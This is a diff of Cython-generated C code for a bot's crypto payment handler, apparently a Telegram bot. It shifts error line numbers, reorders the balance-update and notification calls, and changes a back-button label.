__pyx_t_3 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 211, __pyx_L7_error) + __pyx_t_6 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 212, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_11 = NULL; __pyx_t_5 = 0; @@ -7774,7 +7765,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L7_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -7804,21 +7795,21 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_10); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 211, __pyx_L7_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 212, __pyx_L7_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 211, __pyx_L7_error) + else __PYX_ERR(0, 212, __pyx_L7_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 212, __pyx_L7_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 212, __pyx_L7_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 213, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = PyTuple_New(4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 212, __pyx_L7_error) + __pyx_t_4 = PyTuple_New(4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_12 = 0; __pyx_t_13 = 127; @@ -7826,7 +7817,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_t_12 += 31; __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_kp_u_Payment_succeeded_for_user_id); - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L7_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); @@ -7837,14 +7828,14 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_t_12 += 10; __Pyx_GIVEREF(__pyx_kp_u_amount_2); PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_kp_u_amount_2); - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L7_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 3, __pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_4, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L7_error) + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_4, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; @@ -7866,72 +7857,13 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L7_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - } - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 213, __pyx_L7_error) - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = NULL; - __pyx_t_5 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_6))) { - __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); - if (likely(__pyx_t_3)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); - __Pyx_INCREF(__pyx_t_3); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_6, function); - __pyx_t_5 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 213, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; - __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 2; - return __pyx_r; - __pyx_L14_resume_from_await:; - __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_10); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 213, __pyx_L7_error) - } else { - PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); - if (exc_type) { - if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 213, __pyx_L7_error) - } - } - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 214, __pyx_L7_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 214, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = NULL; __pyx_t_5 = 0; @@ -7969,9 +7901,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __Pyx_RefNannyFinishContext(); __Pyx_Coroutine_ResetAndClearException(__pyx_generator); /* return from generator, awaiting value */ - __pyx_generator->resume_label = 3; + __pyx_generator->resume_label = 2; return __pyx_r; - __pyx_L15_resume_from_await:; + __pyx_L14_resume_from_await:; __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_8); @@ -7990,6 +7922,65 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } } + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 215, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 215, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 215, __pyx_L7_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 215, __pyx_L7_error) + } + } + } __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -8005,7 +7996,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_14) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_6, &__pyx_t_3) < 0) __PYX_ERR(0, 215, __pyx_L9_except_error) + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_6, &__pyx_t_3) < 0) __PYX_ERR(0, 216, __pyx_L9_except_error) __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_6); __Pyx_XGOTREF(__pyx_t_3); @@ -8014,14 +8005,14 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_cur_scope->__pyx_v_e = __pyx_t_6; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 216, __pyx_L21_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 217, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 216, __pyx_L21_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 217, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 216, __pyx_L21_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 217, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_11); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 216, __pyx_L21_error) + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_11); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 217, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_11 = NULL; @@ -8043,7 +8034,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 216, __pyx_L21_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 217, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } @@ -8118,14 +8109,14 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_warning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_warning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payload, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payload, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_4 = __Pyx_PyUnicode_Concat(__pyx_kp_u__25, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyUnicode_Concat(__pyx_kp_u__19, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; @@ -8147,7 +8138,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8239,7 +8230,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 221, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 222, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -8247,14 +8238,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 221, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 222, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 221, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 222, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 221, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 222, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -8267,7 +8258,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 221, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 222, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -8306,7 +8297,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_15process_enter_cu if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 221, __pyx_L1_error) + __PYX_ERR(0, 222, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -8317,7 +8308,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_15process_enter_cu __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5, __pyx_codeobj__26, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 221, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5, __pyx_codeobj__20, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -8343,6 +8334,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx unsigned int __pyx_t_4; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; @@ -8357,9 +8349,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 221, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 222, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -8379,7 +8371,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -8387,15 +8379,18 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 226, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__27) < 0) __PYX_ERR(0, 226, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_cryptobot) < 0) __PYX_ERR(0, 226, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 226, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_BACK); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 227, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_cryptobot) < 0) __PYX_ERR(0, 227, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -8418,53 +8413,63 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 226, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if 